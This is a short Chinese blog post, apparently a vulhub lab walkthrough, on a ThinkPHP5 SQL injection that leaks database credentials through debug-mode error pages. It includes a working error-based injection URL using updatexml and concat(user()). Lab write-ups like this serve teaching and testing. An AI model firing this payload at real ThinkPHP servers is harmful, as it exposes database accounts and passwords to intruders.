vulhub中ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

慈云数据 2024-03-13 技术支持 61 0

漏洞原理

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码

启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。

漏洞利用

访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,信息成功被爆出:

可以找到了数据库的账号、密码:

微信扫一扫加客服

微信扫一扫加客服

点击启动AI问答
Draggable Icon